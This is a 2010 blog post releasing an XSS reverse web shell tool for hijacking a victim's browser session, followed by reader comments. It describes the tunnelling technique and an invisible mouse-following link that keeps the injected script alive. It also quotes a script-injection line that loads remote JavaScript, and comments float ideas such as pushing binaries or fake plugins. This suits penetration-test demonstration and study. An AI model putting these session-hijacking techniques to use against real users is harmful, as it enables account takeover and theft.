Monday, July 19, 2010

Shell of the Future – Reverse Web Shell Handler for XSS Exploitation

If you claim that "XSS is not a big deal" that means you never owned something by using it and that's your problem not XSS's
-Ferruh Mavituna, Author of XSS Shell, XSS Tunnel and NetSparker
Cross-site Scripting is an interesting vulnerability. It is relatively easier to discover in a Penetration test but demonstrating its impact has always been tricky. So tricky in fact that it has pushed one of the most creative groups of people in IT (Penetration testers) in to using the most boring and misleading POC possible. Yes, you guessed it right, the ubiquitous JavaScript alert() box. To break the monotonousness testers sometimes change the message being displayed but that’s as far as it usually goes. It also has the nasty side effect of developers blocking the word ‘alert’ in their code while ‘eval’ is let through.

In pentests XSS is usually considered as a dead-end vulnerability - you discover it, take a screenshot and move on to something else. It cannot be exploited and used as a stepping stone to another attack because exploiting it would require attacking a user and that is something Penetration testers aren’t allowed to do, the contract 9 out of 10 times only lets us attack the server or the application. That however does not stop the attackers from going so far as to taking over entire servers using a simple XSS in the real world.

The real impact of XSS is that an attacker can do anything that the user can do with his session. Today I am releasing a tool that would let you demonstrate this very impact with the same effort involved as showing the alert box. Ladies and Gentlemen, I give you - Shell of the Future.

Shell of the Future is a Reverse Web Shell handler. It’s the browser equivalent of a reverse command shell, instead of a command prompt from which you type in commands, you get to browse the victim’s HTTP/HTTPS session from your browser. Even though the site is being browsed from the pentester’s browser all the pages are fetched by the victim’s browser. This is done by tunneling HTTP over HTTP using HTML5 Cross Origin Requests. The hijacked session also displays a hovering banner over it which can be heavily customized, making it the perfect POC for your pentest report.

So how does it work? very simple. Shell of the Future has both a proxy server and a web server. The pentester has to set his browser to use Shell of the Future’s proxy server, start the tool and go to from his browser. This shows the web interface from which the victim’s sessions can be hijacked.

Before hijacking a session we need to inject our JavaScript exploit in to the victim’s browser using XSS. Shell of the Future comes with two readymade JavaScript exploits – e1.js and e2.js.

Once injected ( Eg: ) the exploit starts talking to the Shell of the Future server and it becomes available for hijack from the console page. To hijack this session just click on the link that says ‘Hijack Session’ and this session can be browsed from the pentester’s browser.

It is that simple, no installation required, no configuration required, no additional software, it’s all set-up and ready to go at one click.

Even if the site is not vulnerable to XSS the victim’s session can still be hijacked by getting them to paste the following code in the browser’s Address Bar.

Shell of the Future can be downloaded from our tools section and there is also a detailed manual available.
A video demonstration of all the features is available here.

If you are interested in more details then read on.

The tool makes use of HTML5 Cross Origin Requests to tunnel HTTP traffic over HTTP. Once e1.js or e2.js are injected in to the victim’s browser they start polling Shell of the Future(SotF) through Cross Origin Requests(COR). SotF assigns a unique ID for each session and shows this in its console page. When ‘Hijack Session’ is clicked the request from the browser is sent to the SotF proxy which inturn sends it to the SotF server which further passes it on to the victim. The victim fetches the page and sends the response to the SotF server using COR which sends it to the proxy and then to the pentester’s browser.

The two e1.js and e2.js are very similar but e2.js has an extra trick to make the attack more practical. You can only browse the victim’s session for as long as the injected JavaScript is active in the victim’s browser. Sometimes this could be a problem. Let’s say the site with XSS cannot be placed in an iframe then the victim must be directly on the site where the injection is happening. Now the lifetime of the injected scripted is extremely limited because the moment the victim clicks on any links and browses to another page in the site, the script dies. To counteract this, e2.js adds an invisible link to the page and this link is placed exactly under the mouse and follows the mouse moments. When the victim clicks on any part of the page he is actually clicking the invisible link and this link opens the same site in a new tab which also becomes the active tab. Now the victim would happily browse the site in the new tab while the injected script is live in the other tab. The transition to the new tab is pretty smooth so most users would never suspect anything.

If you would want still more details then check the detailed documentation.

I got this idea when reading about HTML5 Cross Origin Requests and thought it was new concept so started this project as a POC. But when I spoke to Manish about it a little latter, he burst my bubble and told me that XSS Tunnel already did something similar. Infact XSS Proxy and XSS Tunnel both did something similar and that too back when there was no COR!! * bows to both Anton Rager and Ferruh Mavituna and thanks Manish for saving me from embarrassment once again *

So I stopped working on it for sometime and then started again with a different approach. Rather than making it a POC for my idea which turned out to be a well known technique, I have made Shell of the Future as a tool specifically to make POCs for XSS and JS Injection vulnerabilities. Both the victim and the attacker can be on the same system just different browsers, Chrome and FireFox are ideal candidates. It works on IE and Safari as well but their aggressive caching can sometime serve stale content. Opera however does not support CORs yet and hence this doesn't work there.

The goal was to make a tool that would accurately demonstrate the severity of XSS with literally the same effort involved as getting the infamous alert box to pop up and I think it has been achieved it.

Also this time around I am providing the source code of the tool as well. It’s not the most elegantly written piece of code but hey, it works!


  1. I'm thinking that this coupled with Middler of Airpwn (two wireless cards) would make a fantastic local attack.

  2. That's a great idea Stewart. As long as we can successfully inject our JS in to the target session, Shell of the Future can be used for taking over it.

    JS Injection methods + 1

  3. Very nice job indeed.

    This is help proving the possible effects of XSS. Hurray!

  4. Great Tool, But lava
    1) Will it also work without any problem if there is some firewall or anything in between the client browser and the attackers public page.
    2) Its valid for all types of websites with xss....or like only asp or php with some particular code is req. what are the limitations on this tool. for example will it also run on banking site with secure cookie and session validation enabled on server,etc..


  5. @Thomas
    Thanks :)

    Thanks buddy!
    1) As long as the victim can reach the attacker's web server this will work.
    2) It will work on almost all websites, server-side language or framework does not matter. Http-Only, Secure cookies, IP Address-Session ID binding does not affect Shell of the Future's performance.

    The limitations are:
    1) If you inject code in then you can only browser, you cannot access This is due to Same Origin Policy.
    2) I have mentioned couple more in the FAQ section -

  6. Lava:
    I'm getting the following error:

    Unable to start server, exiting application. Reason: The process cannot access the file because it is being used by another process.

    It isn't, I also restarted the box and same error.
    Help... thanks.

  7. @CodeCritter

    There could be two reasons:

    1) Because you are running the tool as a normal user. Try running it as administrator or set the server port to something greater than 1024 instead of the default value of 80.

    2) Or there already is some software listening on port 80 on your machine. Change the server port to something else and it should fix it.

    If both of these don't work then we need to investigate further.

  8. awesome workouts lava!

  9. Epic fail on my part... finally got it running, but when I go to
    I get a blank page. :\

  10. @anon

    This one is pretty easy, another user had the same issue.
    The Console URL is '/sotf.console' and not '/soft.console' :P

  11. hi!

    When I try to inject the javascript.eval... into a browser it results in a blank page with "[object HTMLScriptElement]"
    Don't know why this is happening... but i managed to hijack the session just using the script src version.


  12. @pat
    That happens in Firefox, adding a new element to the DOM from the URL bar does not seem to work. Try it in Chrome, it works perfectly.

  13. Hi,
    I have a small issue with the tool, I'd be happy if you could help me out. I get the JS script properly loaded and logged into the Sotfconsole, however clicking the link just brings me to the website, no banner, no control.

    The link "Hijack Session" is just a blank link to the XSSed website with the parameter&ShelloftheFuture_victimID=1

    Kind of puzzled right now, thanks for any help

  14. @anon

    Am glad you are trying out the tool.
    From what I understand you are able to hijack the session but the hijacked session does not display a banner like it should.
    The reason this could be happening is because the URL ends with '.html' or some other extension which is part of the 'direct fetch' white-list. So Shell of the Future is fetching this page directly from the server instead of routing it through the victim.

    If this is the case then make suitable changes to the direct-fetch configuration and it should work.

    The 'Hijack Session' link is meant to be the way you explained. When you click the link Shell of the Future sets the victim ID in a cookie and starts tunneling your session.

    Hopefully this should resolve the issue, please let me know if it doesn't.

  15. Client side XSS is not a serious problem. Only an idiot would click on a link that looks like this"s=document.createElement('script');s.src='';document.getElementsByTagName('head')[0].appendChild(s)")

    I mean seriously, if you're going to get them to click on a link, make it a less conspicuous one that gives them a java driveby RAT, which is far more serious than this shell.

  16. @anon
    The link is not really a problem, it can be encoded to look harmless. Moreover the payload does not even have to be a part of the link, it can be inside a page which would load the URL with the payload automatically.

    If an attacker is only interested in accessing the victim's account on a site then exploiting an XSS on that site is all he needs.

    Unless you are looking at running a botnet or gaining complete system access, installing a RAT is an unnecessary overkill and you also run the risk of being picked up by AVs.

    Needless to say that these days people store more information online than they do on their local hard drive.

  17. @lava
    I'll admit that you make some excellent points, lava.
    Curious, does this shell exploit user session info for only the target site or all of the user's traffic?

  18. @anon
    The effect is specific to the site containing the XSS vulnerability unless we are looking at an Universal XSS browser bug.

    However with cross-domain resource usage and interdependence on the raise, one vulnerable site could indirectly render others vulnerable as well.

    A smart attacker would piggyback on the trust the user places on the vulnerable site to obtain further access. is currently vulnerable to XSS. An attacker can exploit this vulnerability to display a fake message to the victim asking them to install a new browser plug-in from Since the user trusts he is going to install this plugin giving the attacker complete control over his browser.

  19. Sorry if I’m a bit late.
    I’m trying to create a good presentation for XSS attack. After XSS tunneling, I’ve tried your application. It seems very interesting for PoCs (not for exploitation by malicious attackers).
    I want to add some codes to your application. However, I’m not sure if you allow others to do that as you did not say anything about the license. Could you please tell me if I can modify your codes for my needs? Can I add new modules to it?

  20. You sure can Soroush.
    I realize that I didnt specify any license, was a little lazy to do that :D. You can do whatever you want with that code, full rights!
    If possible it would be nice if you could share your module with others as well. I could probably add it in the next version.

  21. Do you hava any idea to spread a binary file through this XSS Shell :D

  22. @dinhcaohack
    How do you want the binary to be delivered, prompt the user for download or by exploiting a browser vulnerability?
    I am trying to keep this specific to proxying for now.
    The next version of BeEF ( would probably be able do that. Keep an eye on that project, lots of interesting things going on there :)

  23. hello

    i have tried to work with the program as a proxy only.
    and for some reason it doesn't work.
    i have tried to work with a victim passing through the proxy and then replace is title with something else with no success ,on the victim i didn't got any response.
    am i doing something wrong or the proxy has a problem

  24. @roni
    the proxy-only mode would work when the server component is hosted separately, in an external web server.
    if you are running it locally then select the 'server+proxy' mode which is default.
    the victim talks with the server and since you were not running the server, the victim didnt get any response.
    hope this helps.

  25. hi lava thanx for the fast replay
    let me try to explain again what i am trying to do:
    i want the victim to use your server+proxy as a proxy and then when he connect to it to take a new page from for example => i will replace /script/ with your script.

    is it possible ?
    cause from what i understood you are working as a full proxy to the victim

    thanx again roni

  26. no Roni, thats now how it works. The victim does not use Shell of the Future as a proxy. The attacker configures his browser to use it as proxy.
    The victim only talks to the server component. You must inject your script in to the victim's browser using XSS or from the url bar.

  27. the match and replace is it for the victim or the attacker

  28. Its for the attacker's browser so that he can add a banner or something to the victim's session when browsing from his machine. Makes for a better PoC.
    If you want to make changes to the victim's browser then you would have to add that code to the JS exploit that gets injected in to the victim's browser.

  29. hey admin ! This tool very slow pls update thread codes need

  30. @anon
    The slowness is not due to threading issues but due to the nature of the technique used.
    Please refer to points 4 & 5 on the FAQ -

  31. Hi lava! Thanks for creating this wonderful tool, but it would be great if you could add some commands on like alert messages like the ones on xss shell by ferruh.. i know this is kinda off topic but im having problems with xss shell, the commands are not working. I have already upload it to 3 hosting sites and still no luck on executing the commands.

  32. @anon
    Thanks, that's a good suggestion, however I plan to keep this specifically for 'Reverse Browsing Shell' alone.
    I would recommend taking a look at the latest version of BeEF -
    It has many powerful features including the one you mentioned. Hope this helps!

  33. @lava
    Yup I've tried beef already and I was amaze on its capabilities however it is only limited to a single session only, the attack won't work if the victim clicks another page.. hmmmm but I got an idea to bypass this somehow. I'll try your script above and replace with BeEF's hook.js hahaha...

  34. Is there a solution for this malware on the site? An infection on the Linux server, where we're constantly in the Wordpress script generates files of type wb 5433712.php antimalware program is a malware called Backdoor.PHP.WebShell! E2
    The worst thing is that this malware also creates. Htaccess file which redirected to sites infected and compromised the Russian site.
    Is there a solution?

  35. i know this is kinda off topic but im having problems with xss shell, the commands are not working. I have already upload it to 3 hosting sites and still no luck on executing the commands.hey admin ! This tool very slow pls update thread codes need